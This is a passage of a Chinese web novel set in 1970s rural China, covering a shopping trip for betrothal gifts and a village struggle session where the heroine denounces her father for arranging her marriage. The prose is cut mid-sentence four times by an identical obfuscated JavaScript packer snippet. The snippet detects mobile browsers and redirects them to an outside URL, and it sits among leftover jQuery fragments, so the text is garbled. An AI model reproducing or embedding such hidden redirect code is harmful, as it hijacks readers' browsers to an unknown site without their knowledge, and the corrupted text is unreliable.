谢晚棠轻咳一声,一脸正气:“秀秀,你哥那里……就算是受了伤,那也是保家卫国、守护人民受的伤!那是他英雄的军功章!” 玉秀瞪大眼睛不可思议地看着谢晚棠,嫂子的觉悟也太高了吧!简直把村里那些嚼舌头根子的妇女比成了屎! 玉秀心服口服地对谢晚棠竖起大拇指。 “什么英雄的军功章?” 身后突然响起一声熟悉的低沉浑厚的男人声音,玉秀下意识回头,就看到她堂哥不知道什么时候扶着自行车站在他们身后。 玉秀:! 玉秀一口凉凉的甜水没咽好,呛得直咳嗽。 谢晚棠赶紧给玉秀拍背顺气,待玉秀喘气顺了,傅青山还定定地看着她,似乎在等她回答。 当着堂兄妹的面,这个话题简直难以启齿! 谢晚棠脑袋瓜高速运转:“说你当兵肯定受过很多伤,那都是英雄的军功章!” 傅青山微微皱眉,想不出为什么谢晚棠和堂妹会聊到他身上的伤,他看向堂妹的时候,堂妹也非常肯定地点头。 傅青山倒没再问,只道:“吃饭了吗?” 玉秀摇摇头:“我们没有票。” 傅青山支好自行车,带着她们进了国营饭店。 饭店墙上挂着一块大黑板,黑板上是用粉笔写的菜名和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634864|143734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜价。 糖醋排骨6毛5!烧带鱼5毛5!肘子最贵1块6,凉菜2毛,馄饨才1毛5! 谢晚棠再次感慨这个年代的物价真低啊,21世纪大概是这个时候的……100倍?! 傅青山让谢晚棠和玉秀点菜,玉秀有点不好意思,谢晚棠那边已经开始报菜名了:“同志,一份糖醋排骨,一份凉拌三丝,一碗馄饨。” 谢晚棠点完自己爱吃的,就去找地方坐了。 玉秀哪个都馋,但看了好几遍价格,最后咬咬牙,点了一份4毛5的溜肉片,两个1毛钱的芝麻火烧。 最后傅青山又点了一盘酱牛肉,一斤水饺,玉秀看着傅青山点了3块2的钱,又抽出来几张票递过去,心疼得一紧! 他们居然一顿饭就吃掉了3块多! 等着上菜的时候,玉秀好奇:“青山哥,你怎么会过来?幸好碰上你,不然我和嫂子要饿着肚子骑车子回去了。” 玉秀叫了一上午嫂子,谢晚棠也没觉得怎么着。 可现在当着傅青山的面叫了一声,她就觉得有点怪怪的,毕竟她不算是真嫂子。 傅青山和谢晚棠对视了一眼,还是那副没什么表情的样子:“来供销社买结婚的东西。” 玉秀了然,听爹娘说了,明天青山哥就要去谢晚棠家下聘礼。 一上午到处跑没觉得,这会儿歇下来,可能热得也有点冒汗,谢晚棠感觉脚底有点蛰得疼,就像是手指磨破皮的那种疼。 也不好直接在这就脱了鞋看,该不会是大上坡的时候全力蹬车子把脚底板给磨破了吧,原身这小身板实在是娇气的很。 好在饭上得快,实在也是太饿了,一吃东西,谢晚棠暂时就忘了脚底的疼。 这个年代国营饭店真朴实,菜量很大,不过这个年代的人肚子里没什么油水,吃肉多也不会腻,点了满满一桌子,三个人也光盘了。 吃饱喝足谢晚棠准备和玉秀一起回去了,却被傅青山叫住:“一起去看看吧。” 行吧,虽然是合约婚姻,在玉秀面前还是要做做恩爱样子的。 谢晚棠和玉秀跟在傅青山身后二进供销社,傅青山是大沟镇武装部长,武装部主管招兵,在这个年代可是人人都想巴结的岗位,这个年代读不了大学,当兵是个好出路。 傅青山一进去,上午对谢晚棠爱答不理的那个售货员就笑着迎出来:“傅部长来了!今天要买点什么?” 傅青山点点头,回头看了一眼谢晚棠:“买点结婚用的东西,让我对象挑吧。” “好好好!傅部长恭喜恭喜啊!” 售货员笑着往傅青山身后一看,谢晚棠稍稍偏头,朝她露出一个微笑。 下一秒,售货员就笑不出来了。 上午来这个一身补丁的土妞,不是吹牛逼,竟然真是傅部长的未婚妻?! 她头晌居然对傅部长的未婚妻爱答不理,还嘲讽人家买不起皮鞋就不要试!!! 啊啊啊啊啊!!!! 8. 第 8 章 售货员一时间脸通红,像被扇了100个打耳光! 不过好在谢晚棠也没有要为难她的样子,只是专心挑东西。 售货员看谢晚棠没有趁机拿捏她,这才稍稍放下心来,一改上午的冷言冷语,无比热情地给谢晚棠介绍货品。 这年头最体面的彩礼三转一响,不仅贵,还得有工业券才行,城里一般人家也不好攒,更别提农村了。 傅青山有一辆自行车,还需要再买缝纫机、手表和收音机。 不过70年代生产力不足,尤其是工业制品,更是供不应求,缝纫机供销社暂时没有货,售货员说到了货给留出来。 谢晚棠挑了一块手表,收音机就一款不用挑,直接买上。 虽然傅青山在镇武装部上班,但工业券其实也是不多的,谢晚棠也不知道他怎么弄到这么多的。 挑完大件,零零碎碎的小东西也不少。 棉被布料、棉花、暖瓶、脸盆、毛巾、糖、茶果…… 茶果旁边就是各式各样的小酥货糕点,谢晚棠上午就被那炸得金黄金黄的小麻花给勾住了,不禁又多看了一眼。 傅青山买上烟酒过来,正好看见谢晚棠眼巴巴地看着柜台后边,顺着谢晚棠的视线看过去,正是一排小麻花。 傅青山对售货员道:“小麻花来3包。” 谢晚棠:? 玉秀:! 3包?! 傅青山付完钱和票,给了谢晚棠和玉秀一人一包小麻花。 玉秀惊讶,不太敢接:“我也有?” 傅青山点头:“你带你嫂子来镇上,辛苦了。” 玉秀可高兴坏了,她根本不辛苦!她本来就愿意来镇上,没想到意外地还跟着嫂子沾了这么大光! 她中午已经跟着嫂子蹭了国营饭店的好饭,现在又跟着嫂子蹭到了麻花! 玉秀开心得眼睛都眯起来了:“嫂子!以后有什么事你就招呼!” 傅青山平时看起来冷言冷语的,谢晚棠没想到他居然会为自己为好人,明明都是傅青山花钱,却让玉秀对她充满了感激。 谢晚棠朝傅青山晃晃手里的小麻花:“谢谢。” 出了供销社,玉秀骑上车子:“青山哥,那我们回去了!” 她现在一身的劲,可以一口气把嫂子带回下沟村! 傅青山把买的东西捆好:“我和你们一起。” 谢晚棠:“你下午不上班?” 傅青山:“嗯。” 谢晚棠:“……” 大哥,你早上可不是这么说的! 你说上班可以捎着我,可没说买完下午不上班,还能把我捎回去啊! 早说她哪还用自己蹬崴着大车子来啊TAT 脚底板儿现在还火辣辣的呢! 但是—— 对老板是不能有怨言的哦~ 这么一想,谢晚棠马上调整好心态,抱着自己的布料和小麻花坐上玉秀的后座。 骑到一半谢晚棠照常要跟玉秀交换骑车子,虽然脚底疼,但也不能光让玉秀一个人累。 玉秀却摇头:“我不累啊!” 谢晚棠听着大上坡玉秀喘粗气的声音:??? 真不累吗? 但玉秀就是非常坚持,直到把谢晚棠送回家。 三个人在谢晚棠家门口分开,玉秀嘴硬说不累,脸都通红了,但傅青山一路和她们一起骑,就真的大气都不带喘一下的,看起来神色如常。 最菜鸡的就是谢晚棠了,从自行车后座上下来的时候,屁股硌麻了,脚底板走路还有点不敢用力…… 哎,原身这小身板,革命的本钱有点娇弱啊! 他们回来的时候正是歇晌的点,谢晚棠把房间里唯一的小破桌子擦干净,把布料放上边,小麻花和桃酥放一起。 放好东西,谢晚棠第一件事就是脱了鞋看她火辣辣的脚,果不其然,脚底白嫩的皮肤磨得通红,前脚掌蹬车子时最用力的那里都磨破了表皮,怪不得汗一渍疼呢。 谢晚棠去院里打了井水冲了冲,把脚上的汗都冲掉擦干,然后一瘸一拐地回炕上擦干晾着,虽然还有点疼,但也好多了。 跑了一上午,谢晚棠也乏得很,躺下很快就睡着了。 …… 不知道睡了多久,谢晚棠是被窸窸窣窣的声音吵醒的,迷迷瞪瞪睁开眼,就看到老太太正在桌子那儿翻她的布,那表情,真是哪一块都喜欢的样子。 这年代农村人一年到头分的布票都少得可怜,自然不可能家里人人都做新衣裳,都得轮换着来,谁的破的不行了,今年就给谁做。 但她们家,新布永远都是给谢老太太、谢老爹和谢建国做衣裳,原身和她娘都是用他们三个穿下来不要的衣服改改继续穿,本就穿乏了的布料特别容易破,所以原身和她娘的衣服都是满身补丁。 谢晚棠一想到这就没了好脾气:“想要?” 谢老太太吓一跳,刚要斥责她,听到她问想不想要,脸色又和缓下来:“你大喜的日子,我怎么着也得做身新衣裳!” 说着居然就开始挑布料了。 呵呵。 好搞笑的老太太! 谢晚棠休息好了,脚底的疼痛也轻了很多,登上鞋下炕,一把把桌子上的布料抱过来放炕上:“想得倒挺美呢。” 听出谢晚棠语气里的讥讽,谢老太太脸一下子拉下来了,眼睛还死死地盯着谢晚棠身后的那一大摞布料:“这么多,你也穿不了!” 谢晚棠:“我怎么穿不了?” 女人还有嫌衣服多的? 听到两人争锋,薛桂花小心翼翼站在门口往里看,谢晚棠看到薛桂花那一身补丁的破衣裳,跟谢老太太身上的好衣裳形成鲜明对比,又低头看了眼自己身上的,也不比薛桂花好到哪儿去。 上午也不能全怪那售货员瞧不起人,确实她穿得不像个能穿得起20块钱皮鞋的。 谢晚棠勾唇:“就算我穿不了,我也不能给你穿啊,那我不就不分好赖了吗?” “你!”老太太气得抬起拐棍就要打人,可一想今晚儿子要被批斗就是她弄的,终究是没敢真打上去,恶狠狠地啐了一口:“没教养!” 谢晚棠也不恼,笑呵呵看着谢老太太:“跟您老学的哦。” 打不过就加入,谢晚棠成功把谢老太太气走,走的时候脸都气成猪肝色了。 虽然谢晚棠从小学习的是尊老爱幼,但她相信,该尊的老一定不是谢老太太这种老。 成功把谢老太太气走后,谢晚棠把薛桂花拉进来,娘俩坐在炕沿上,谢晚棠把土布布料都抱过来:“娘,你挑个喜欢的颜色,做身新衣裳。” 薛桂花看着这一摞土布,又惊讶又稀罕地小心摸了摸:“这些都是傅青山给的?” 谢晚棠点头。 薛桂花面露欣慰:“你留着穿,这也不过节不过年的,娘不要。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634865|143734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 可是就算过年过节,这家里也没人记得给薛桂花做身新衣裳。 谢晚棠坚持把布料推到薛桂花面前:“娘,闺女结婚的大喜日子,难道到时候你要穿一身打补丁的衣裳吗?” 谢晚棠知道薛桂花早已经习惯了不为自己考虑,这么一说,薛桂花果然犹豫了,是呀,到时候闺女出嫁,丈母娘连身好衣裳都没有,闺女嫁过去也让婆家笑话。 薛桂花最后挑了块藏蓝的布料,她自己会做衣裳,家里人的衣裳都是她做的。 薛桂花要帮谢晚棠做,谢晚棠拒绝了,坚持要自己做。 因为平时原身就帮着薛桂花做衣裳,所以薛桂花倒也不担心,只是觉得闺女长大了,懂事了。 设计裁剪是谢晚棠专业范围内的事,先是裁了结婚当天穿的。 正红布料做一件收腰的红衬衣,下身裁一条黑色修身直筒裤,配上黑皮鞋。 在这个年代穿既不张扬,又不会像穿一身大红那样土气,这样既符合喜庆的日子,又显得干净利落。 土布是日常穿的,谢晚棠裁了两套,一身上白下晴蓝,一身上藏青下白,斜扣复古风上衣配宽松慵懒休闲裤的中国风设计。 设计裁剪简单,但是有一个最大的问题——没有缝纫机。 谢晚棠虽然是设计师,针线也会,但真要一针一线缝起来一整件衣服,确实是有点难为她。 而且听供销社那意思,货不一定什么时候能到,得看上边什么时候能生产出来。 最后还是薛桂花帮她缝的,薛桂花细密的针脚,缝得竟不比缝纫机差多少! 谢晚棠拿起旁边剩下的正红色边角料,裁了一个蝴蝶结,既然这个年代结婚头上都要戴点红,那她到时候就在头后绑个蝴蝶结吧,总比头上直接带个大花强。 娘俩一直忙活到晚饭,薛桂花去做饭,吃了饭谢老爹还要被绑去批斗。 一顿饭吃得死气沉沉,吃完饭,大队就来人绑了谢老爹走了。 谢晚棠到大队部的时候,已经聚了不少人了。 谢老爹耷拉着脑袋被绳子捆着站在台子上,身上挂着纸牌子写着:包办婚姻、封建残余。 “听说老谢要把谢晚棠卖给隔壁村那个王傻子换彩礼给儿子娶媳妇,让谢晚棠给举报了才被批斗的。” “这还能举报自己爹的?” “新社会了嘛,不让包办婚姻了。” “那也不能送亲爹来批斗吧?以前没觉得她这么狠啊。” “可能被逼急了吧,听说那个王傻子脑子连个三岁小孩都不如,这么大了还尿裤子呢!” “这不是把人往火坑里推嘛,这谢汪洋真是活该!就算为了儿子,也不能不顾闺女死活啊!” …… 批斗会7点开始,来得早的聚在一起聊着天。 玉秀吃完饭也过来了,一看到谢晚棠就过来找她:“嫂子!青山哥他们也来了!” 谢晚棠顺着玉秀指的方向看过去,傅青山左边跟着个十四五岁的女孩,右手里还领着一个四五岁看起来瘦瘦弱弱的小女孩,自小女孩往右,依次高半个头排开三个男孩。 这就是书里傅青山的五个孩子。 不到7点,天还没黑透,谢晚棠看过去的时候,五个孩子也在看她。 那眼神里有好奇、考究、打量,还有明显到不能再明显的……敌意。 仿佛她就是一个彻头彻尾的恶毒后妈。 9. 第 9 章 两个大孩子的敌意特别明显,剩下三个小的,虽然还是团子的年纪,小脸上也用力挤出奶凶的表情试图吓退她! 后妈果然不好当啊! 不过人不可能只享受不付出,享受了傅青山带来的物质条件,当后妈就是她接下来最重要的工作。 傅青山脸上的锋利冷淡在夕阳昏黄的光线中柔和了许多,身形却依旧高大挺拔,在人群中让人一眼就能看到。 傅青山的视线不经意间看过来,隔着熙熙攘攘的人群,两人忽然对视上。 谢晚棠轻咳一声,继在傅青山面前表演了举报亲爹后,她马上又要上演批斗亲爹了! 7点,批斗大会准时开始,由支书傅余年主持,陈述了谢汪洋所犯的错误。 支书讲完,台下的社员们嘁嘁喳喳起来,尤其是一些同样有闺女的中年男人,虽然也觉得谢汪洋要把闺女嫁给个傻子有点没良心,但并不认为这是什么大罪,顶多算是自己家的家长里短。 “父母之命媒妁之言也有罪了?” “老子自己养大的闺女,想嫁给谁就嫁给谁!” “我倒是想把闺女嫁进城里也跟着沾点光,那也得有人娶啊!” …… 虽然新中国成立后农民翻身做了主人,但几千年来的封建残余思想其实还是根深蒂固,城市里好一些,农村不少人家,还是有很严重的重男轻女思想,很多年轻女孩的婚姻自由并没有被尊重。 第二环节,举报人谢晚棠上台,控诉谢汪洋。 作为下沟村第一个举报批斗自己老子的,谢晚棠收获了一众异样审视的目光。 “怎么就她那么多事啊?!也不知道怎么突然就要跟傅老二结婚了,早晨还跟那个蒋知青纠缠不清,这又来批斗自己亲爹,啧啧,我看等着嫁过去,也不是个省油的灯。” “听说彩礼要了三转一响外加100块钱呢!” “啊?真假?傅老大和傅老三娶媳妇儿不才20块钱彩礼?” “真真的!不知道给傅老二灌了什么迷魂汤了!” “啧啧,没准早就把傅老二伺候的舒舒服服的了!” …… 傅老大和老三家媳妇儿本来就因为老二坚持给谢晚棠高彩礼的事烦着,听着邻里的议论,心里头更烦了,偏偏老二就是个有主意的,婆婆不同意,人家不说话自己就给买回来了。 如果老二不准备这么贵的彩礼,这些钱本来可以花在家里的,她们也能跟着沾点光,这下好了,全便宜谢晚棠了。 这群妇女越说越难听,玉秀听不下去了,一眼刀子甩过来:“青山哥自己挣的钱娶媳妇儿,愿意给多少彩礼就给多少彩礼!碍着你们什么事儿了!花你们一分钱了?咸吃萝卜淡操心!长舌妇!” 傅家妯娌两个刚要加入话题组抱怨,被玉秀一顿输出弄得又憋了回去,好像多说一句话都会对号入座成为长舌妇。 那群被骂长舌妇的妇女不服:“玉秀,你年纪小,懂得少,当然不明白了。” 玉秀娘傅大娘回头瞥了一眼:“行了,都闭嘴吧!” 支书媳妇发话,谁还敢再多说。 台上都是男人,谢晚棠站在上面,被衬得更加娇小,但眼神却特别坚定,不惧台下所有质疑打量的目光。 “可能很多人都觉得我小题大做,觉得跟我爹把我卖给傻子比,我举报批斗自己的亲爹才是大不孝,况且因为我的抗争,最后也没被卖给傻子,所以就更不应该来批斗我爹,对吗?” 谢晚棠想到书中原身被磋磨的一生,那简单的一笔带过,是一个女孩多少个日日夜夜的折磨堆积而成的。 “但是——如果我没有站起来抗争呢?我以后的生活将是什么样的?如果我真的被卖给了傻子,谢汪洋毁的就是我的一辈子!一个爹连闺女的一辈子都不在意,他还算个爹吗?需要靠喝闺女的血给儿子娶媳妇儿,这样的爹还算个人吗?” 虽然谢晚棠没有咄咄逼人破口大骂,但她有理有据,逻辑清晰,一层一层地把谢汪洋扒皮抽筋般剖开,谢汪洋的头都快低到地上去了。 台下原本嘁嘁喳喳的声音弱下去,大家不自觉都被谢晚棠的思路牵着走。 “为什么我最后没有被卖掉,也坚持要批斗谢汪洋?因为还有很多跟我一样的闺女,从小就不被重视,干着不比小子轻的活,却穿着最差的衣服,吃着最差的饭,就等着长大了结婚换彩礼回来给家里的兄弟娶媳妇儿。如果所有人都忍耐,没有一个人敢站出来,那是不是一辈一辈永远都要这样?” 台下很多年轻女孩的眼睛一眨不眨地盯着台上的谢晚棠。 谢晚棠说中了她们心中最无法言说的苦,在农村,这一切好像都理所应当,因为很多人家都这样。 “社会主义难道就只是男人的社会主义吗?毛主席说了,妇女能顶半边天,我们女人也是社会主义的一分子!我们跟男人一样劳动,也有追求自己幸福生活的权利!” 很多被说中心事的年轻姑娘早已经被谢晚棠那坚定自信的目光吸引,在她们的眼里,这一刻的谢晚棠是发光的。 天色渐暗,人群里不知道是哪个中年妇女谁挑衅地喊了一声:“那傅老二也是你追求的呗?” 这声一出,奚落的笑声此起彼伏。 傅老大和老三家媳妇看谢晚棠被人奚落,也跟着美滋滋的,看谢晚棠怎么下得来台! 谢晚棠面色镇定,不仅没有下不来台,反而大方承认:“对啊,我追到了一个愿意给我三转一响的男人,难道不是幸福生活的开始吗?” 男人嘴上说再多,都不如来点实际的。 谢晚棠轻飘飘一句“三转一响”,成功让台下那群长舌妇气得脸通红闭上了嘴,那是她们干半辈子也挣不来的! 最后谢晚棠总结陈词:“我今天站在这里,就是希望我们下沟村跟我有同样经历的女人,能够勇敢地站起来反抗,支书会为我们主持公道,党是我们永远的后盾!” 谢晚棠讲完,现场竟然响起一些掌声。 谢晚棠很欣慰,这就足够了,她不能决定别人的命运,她只能做那个领路人,至于每个人自己的命运,是要靠自己的一个个选择来完成的。 谢晚棠在台上慷慨激昂,可往下走的时候,一眼就看到了人群中最高的傅青山。 傅青山也在看她,光线有点昏暗,看不太清具体神色。 刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634866|143734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才在台上慷慨激昂地显摆傅青山对她好给她买三转一响气那些长舌妇的时候没觉得,这会儿和傅青山单独对视,怎么还有点小脸红小尴尬呢? 毕竟是合约婚姻,在外边拿傅青山吹嘘一顿,私下里只有俩人自己知道这不是真的。 尴尬的时候最好的处理方式就是微笑! 谢晚棠朝刚刚被她拿来显摆的傅老板礼貌微笑后,麻溜去找玉秀。 玉秀一见她过来就朝她竖大拇指:“嫂子你可真厉害!” 妇女主任刘秀香也朝她投来欣赏的目光,谢晚棠心中充满了力量。 接下来是谢汪洋公开检讨认错,然后支书宣读中华人民共和国婚姻自愿的政策,并对村里包办婚姻的一些情况提出了警告,最后对谢汪洋处以10鞭惩罚,以儆效尤! 这年头布料稀缺,很多人一年到头就一两身衣服,所以打鞭子也不能把衣服打坏了。 支书亲自执鞭,谢汪洋被脱了裤子当众抽鞭子,年轻的姑娘纷纷背过身去,先是鞭子破空的声音,接着便结结实实咬在肉上,随着每一鞭落下,都伴随着谢汪洋凄厉的哀嚎声。 10鞭不多,但鞭鞭皮开肉绽。 那些本来重男轻女,觉得卖闺女没错的男人,听着谢汪洋的凄惨声,看着谢汪洋血肉模糊的腚,自己身后都紧了紧,好像鞭子也打到了自己身上一样。 谢汪洋挨完鞭子,趴在地上像一滩烂泥,整个人仿佛都被抽空了一般,什么都感觉不到了,浑身上下只剩一个蹦蹦跳着疼的腚! 这个样子自然是走不回去了,最后是谢建国扶着他一路拖拉回家的。 至于为什么没直接背回去,谢建国本来是想背的,但是由于从小娇生惯养,家里的细粮都给了谢建国,还不舍得让他干活,养了一身肥肉,硬是尝试了两次都没背起来还摔了下去,谢汪洋两次腚着地,疼得面目狰狞。 谢汪洋也算是苦果自吃了。 批斗大会结束,大家都散了。 傅青山领着几个孩子回家,原本叽叽喳喳的五个孩子,此时安安静静的,稀里糊涂也跟着被杀鸡儆猴了一般。 兰兰在五个孩子里最大,今年已经有15了,女孩本来就早熟,懂的事也别大刚二刚他们多。 刚才谢晚棠在台上那番讲话,句句都在为年轻女孩发声,自然也讲到了兰兰的心里,兰兰甚至都萌生了向谢晚棠一样,去追求自己幸福生活的想法。 但是近在眼前的烦恼是——谢晚棠要成为他们的后妈。 谢晚棠对自己的亲爹都这么狠,对他们这些没有血缘的孩子,只会更狠吧? 奶奶和三婶说后妈还没嫁过来,就把爹的钱都花光了,他们要是上来压不住后妈,以后饭都吃不上! 二刚回忆刚才打鞭子的场景,不仅屁股抖了抖:“爹,后妈以后不会也那么狠地打我吧?” 傅青山:“你不惹祸,她打你干什么?” 二刚皱眉叹气:“可我肯定会惹祸啊!” 傅青山:“……” 傅青山:“你惹了祸,一直不都是我打你吗?还是说你觉得我打得不够狠,记不住,想换个人打?” 二刚:“……” 10. 第 10 章 小刚比较乖,不爱闯祸,不担心挨揍,他更关心吃。 小刚歪头:“爹,那要是俺奶奶以后再给俺们吃两样饭,后妈能把俺奶奶也送去批斗抽鞭子吗?” 兰兰:“……” 大刚:“……” 傅青山:“……” 傅青山:“结了婚分家,不一起吃饭。” 妞妞仰头:“那后妈会不会也给我们做两样饭?小顺子他后妈就给他和弟弟吃两样饭。” 傅青山没犹豫:“不会。” 其实他和谢晚棠接触并不多,但不知道为什么,就是感觉谢晚棠不会做这样的事。 老三家媳妇回来把谢晚棠在批斗会上的一言一行更加夸张地在婆婆面前表演了一番:“现在可厉害!小嘴叭叭的!看着跟以前一点都不一样了!” 傅大嫂也跟着叹了口气:“等着嫁进门,怕是不好相与的。” 跟她们之前打的小算盘可完全不一样。 傅老太没去批斗会,一脸的瞧不上:“她也就敢窝里斗跟她爹耍耍横,就把你们都吓倒了!” 老三家的撇撇嘴:“可她还不是哄着老二给他买了三转一响?” 一提彩礼的茬傅老太就气得头疼,老二也不知道上了什么神经,不声不响地就买回来了!一个地主家嫁不出的闺女,还值得这样的体面了?! 谢老太恶狠狠道:“嫁进来再好好捋把她!那缝纫机收音机是咱老傅家的,还能让她一个人用了?她一个婆娘干活带什么手表!” 就是那100块钱,傅老太一想就像心尖上剜肉似的疼。 老二月月往家交钱,居然手里还能拿出来这么多,这是跟家里留着私心呢! 这可要不得! 等着婚事办完,她还得跟老二谈,娶了媳妇了,她除了给他养孩子,还得给他养媳妇,以后工资都得交家里! 老三家的一回想今天谢晚棠在台上那个架势:“她那个厉害样能听?” 傅老太冷哼一声:“还由得她?” 傅大嫂也觉得新弟妹进门,新婆媳少不得一场腥风血雨,但她向来不跟婆婆呛声,反正火烧不到她身上。 * 谢汪洋拖拉着个皮开肉绽的屁股好不容易到了家,上炕一脱裤子,谢老太那哭声就像号丧似的。 “哎呦我可怜的儿啊!我的儿啊!这是遭得什么罪啊!我的天爷啊!要杀要剐就来找我老太婆,放过我的儿吧!” 谢汪洋本来就疼,谢老太还在一边嚎,嚎得谢汪洋屁股疼,脑袋也疼,又臊又烦,呵斥道:“别嚎了!我又没死!” 谢家三代单传,谢老太不光疼孙子,更疼儿子。 平日对着薛桂花和谢晚棠趾高气扬,此时在儿子面前,被呵斥了也得憋着,谢晚棠嗤笑一声,也是个自讨苦果吃的。 谢老太被呵斥后只短暂地安静了一会儿,就又开始骂薛桂花:“你男人疼成这个样,你也不想想办法!老谢家要你有什么用?!” 谢晚棠原本都要回自己屋了,听到谢老太太又开始找她娘的事,两步踏进东屋,谢老太看到她的瞬间就安静了。 谢晚棠把娘挡在身后,瞅了一眼谢建国:“爹疼成这样,奶奶也是个没用的只会号丧,你这老谢家三代单传的独苗就不知道去找赤脚大夫要点药?老谢家要你有什么用!” 谢晚棠学着谢老太骂人的句式和腔调,青出于蓝更胜于蓝,买一送一,把谢老太和谢建国包圆一起骂,骂得两人愣是怼不上来,屋里短暂地安静下来,只剩谢汪洋强压不住的低声喊疼。 谢建国被骂了也不敢回嘴,赶紧跑去赤脚大夫家拿药。 薛桂花心疼地拿着手巾给谢汪洋擦汗,虽然谢汪洋对她不好,但再差也是她的男人,这个年代的女人,思想里已经根深蒂固了,嫁了人就是一辈子,除非男人死了。 思想是很难改变的,谢晚棠虽然看不惯,但尊重薛桂花的选择,她现在能做的,只能是尽她所能,为薛桂花争取一些更好的物质生活条件。 谢晚棠洗漱完回了西间炕上躺下,听见谢建国回来了,药也拿回来了。 上药自然有助于伤口愈合,但上药的过程犹如再次扒皮抽筋,刺激的药粉撒到血肉模糊的伤口上,一点点融化,谢汪洋的惨叫声比挨鞭子的时候还凄厉。 那哀嚎声穿透了半个村子,那一晚,整个下沟村不拿闺女当人的男人,都被狠狠地杀鸡儆猴了,不敢再把自己养大的闺女愿意卖给谁就卖给谁这样的浑话挂在嘴上。 翌日,疼了一整晚的谢汪洋还是得拖着个烂腚爬起来。 今天是傅青山来下聘的日子。 以前下聘是个大日子,也是要大办的,但现在生活条件不行,也操办不起了,就是男方家来两三个重要长辈,给了彩礼,然后商量好结婚的日子。 等结婚那天,男方家再安排一顿席面就行了。 谢晚棠洗漱完换上了昨天下午刚做的新衣服,大红那身是结婚那天穿的,她今天穿了一身藏青上衣白色裤子的日常衣裳。 虽然是简约的配色,但是为了提亮,她在斜扣的设计上用了一点心思,三个斜扣依次是红色、藏青和纯白,在藏青色的底布上形成了渐变又撞色的设计感。 薛桂花手巧,还在裤兜处给她绣了一朵和红色扣子交相呼应的娇艳海棠。 小小的配色点缀,让颜色暗沉的土布瞬间明亮起来。 昨天薛桂花还用做衣裳裁下来的藏青色边角料,给她加急赶了一双新布鞋,搭这身衣服真是配色刚刚好。 谢晚棠发现薛桂花在设计衣服做衣服的时候还真是挺有审美的,只可惜在这个贫苦的年代,从前根本无处发挥。 闺女下聘是大日子,薛桂花自己也换上了新衣裳。 许多年没有穿过新衣裳了,薛桂花换好衣裳甚至害羞得不好意思出来。 谢晚棠抱着薛桂花的胳膊把人拉到明亮处,薛桂花还特地梳了头,看起来比平时素面朝天的样子不知道美了多少倍,谢晚棠笑起来露出两个甜甜的小梨涡:“娘,真的很美!” 已经很多年没有人夸过她美了,薛桂花小指下意识勾了勾鬓角的碎发,眼眶忍不住泛红。 书中,薛桂花从小也是在富裕的地主家里娇养着长大,她原名也不叫薛桂花,叫薛蓁蓁,取自《诗经》“桃之夭夭,其叶蓁蓁”。 她娘是个美人,她遗传了娘的美貌,从小就是个被人人夸的美人,当初谢汪洋也是倾慕于她的美貌上门求娶。 然而世事变迁,红颜弹指老,她美貌不复从前,那个曾经倾慕于她的少年,也不再对她温柔以待。 她接受社会主义改造,不再是地主家的娇小姐和俏夫人,她学了洗衣做饭,成为了一名光荣的劳动女性,但她的丈夫、婆婆、儿子,仍像是压在她头上的地主一般,吃着她的肉,吸着她的血。 谢晚棠深吸一口气,抱抱薛桂花:“娘,一定会越来越好的。” 薛桂花擦干眼角,笑着抚摸闺女黑亮的发丝:“对!会越来越好!” 谢老太从东间一出来,就看到娘俩齐齐的新衣裳穿着,光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634867|143734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鲜亮丽,笑起来让人看着都刺眼! 谢老太翻了个白眼:“就知道臭美!” 薛桂花下意识噤声,低下头看鞋,不敢说话。 虽然是自己闺女给的料子,但是她做了新衣裳婆婆没有,这是十几年都没有的事。 谢晚棠闻声回头,就看到谢老太羡慕嫉妒恨的样子,这是还记恨着没给她布呢! 谢晚棠吐吐舌头:“就美就美气死你!” 谢老太简直要心梗,但是为了一会儿傅青山要送来的100块钱彩礼,黑着脸,捂着心脏,拄着拐,一瘸一拐地又回了炕上。 没一会儿,傅青山就带着他爹、傅大哥和傅支书过来了。 